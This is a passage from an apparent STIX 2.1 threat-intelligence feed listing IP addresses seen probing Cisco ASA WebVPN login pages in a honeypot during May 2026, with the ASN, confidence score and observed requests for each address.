          "first_seen": "2026-05-27T06:41:48.985Z",
          "last_seen": "2026-05-29T14:15:47.921Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--16e40c2b-0850-42c0-a423-f8e7050ed096",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.149.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:20:10.000Z",
      "valid_until": "2026-06-28T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T06:36:42.223Z",
          "last_seen": "2026-05-30T04:07:14.838Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--ee5cdd20-8281-424b-8d98-0ca35b9144c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T07:20:10.000Z",
      "valid_until": "2026-06-28T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-27T06:33:41.082Z",
          "last_seen": "2026-05-27T06:33:52.674Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /manage/account/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--08d7e183-c427-4b60-9ac3-3ec3233c620b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.52.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:20:10.000Z",
      "valid_until": "2026-06-28T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T07:20:45.465Z",
          "last_seen": "2026-05-30T01:39:50.286Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--0b38c46c-5ac6-43f6-a274-d99031bbac59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.156.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:20:10.000Z",
      "valid_until": "2026-06-28T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-27T07:25:29.451Z",
          "last_seen": "2026-05-30T15:22:47.444Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--46211b80-f5c8-46b9-9a4a-93cd8e69258b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.158.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:20:10.000Z",
      "valid_until": "2026-06-28T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T07:27:47.127Z",
          "last_seen": "2026-05-27T09:14:05.795Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--643e2796-e4b7-492d-9004-ff88cf24128c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.53.133.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:20:10.000Z",
      "valid_until": "2026-06-28T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T03:17:29.997Z",
          "last_seen": "2026-05-27T14:39:12.080Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--9557536f-63f4-42f3-9e37-30a979119392",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.160.217.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:20:10.000Z",
      "valid_until": "2026-06-28T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T07:56:13.316Z",
          "last_seen": "2026-05-27T07:56:23.747Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--74afaf06-f70b-422c-bc91-44d76beb7a03",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.36.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:20:10.000Z",
      "valid_until": "2026-06-28T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T07:59:34.172Z",
          "last_seen": "2026-05-27T07:59:48.871Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--97419f8b-acba-4514-8588-3f2e3a0b87c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.152.17.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:20:10.000Z",
      "valid_until": "2026-06-28T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T09:02:29.118Z",
          "last_seen": "2026-05-27T17:37:21.571Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--67f37ee4-5aca-44a4-91b1-be7bfad1c6e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.208.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:20:10.000Z",
      "valid_until": "2026-06-28T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T09:11:24.709Z",
          "last_seen": "2026-05-27T09:11:38.551Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0dc068d0-6bae-4407-9d2b-8eaf1ea319ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.84.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:20:10.000Z",
      "valid_until": "2026-06-28T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T08:43:29.520Z",
          "last_seen": "2026-05-31T03:02:59.159Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--14b2087b-31b1-46de-9dfc-5d8a80860a48",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.76.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:20:10.000Z",
      "valid_until": "2026-06-28T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T09:02:51.136Z",
          "last_seen": "2026-05-27T09:03:06.941Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b8ba55bf-7cb2-47db-9409-6a4d03afcaa1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.58.177.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T09:20:10.000Z",
      "valid_until": "2026-06-28T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T08:33:34.683Z",
          "last_seen": "2026-05-27T08:33:48.270Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--3eba2816-feab-4a01-ab19-ce3684bf77ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.58.198.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-27T09:37:10.084Z",
          "last_seen": "2026-05-27T09:37:13.087Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--ba5d73b1-8487-42f7-9755-acf9b1662cf0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.234.242.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T10:11:04.527Z",
          "last_seen": "2026-05-30T07:39:27.151Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f66190e5-1ebc-491c-b489-3486e236ca6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.125.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T09:57:13.835Z",
          "last_seen": "2026-05-29T03:18:14.841Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ec6b0fd8-b410-47ae-ba5d-b902594e254d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.7.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T09:52:35.667Z",
          "last_seen": "2026-05-27T09:52:49.530Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7a995269-ec95-4420-be39-6f9225a61ebd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-27T10:08:32.904Z",
          "last_seen": "2026-05-27T10:08:40.815Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--50cc9d58-a7c3-459a-a9d7-36af1ce02e62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.245.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T10:20:10.000Z",
      "valid_until": "2026-06-28T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T10:04:10.465Z",
          "last_seen": "2026-05-30T04:38:16.276Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--59cadfe0-06e5-4e03-9b66-26cbbc9820fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
